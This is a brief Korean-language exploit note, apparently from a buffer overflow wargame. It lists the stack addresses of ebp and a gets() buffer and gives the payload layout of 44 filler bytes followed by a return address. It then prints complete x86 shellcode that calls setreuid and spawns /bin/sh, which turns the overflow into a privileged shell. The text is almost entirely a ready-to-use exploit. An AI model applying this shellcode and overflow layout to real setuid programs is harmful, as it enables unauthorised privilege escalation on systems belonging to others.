ebp: 0xbffff078
gets 시작되는 부분: 0xbffff050
A*44+RET부분!
이때 써주는 쉘코드는setreuid()을 포함하는 쉘코드이어야 한다!!
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80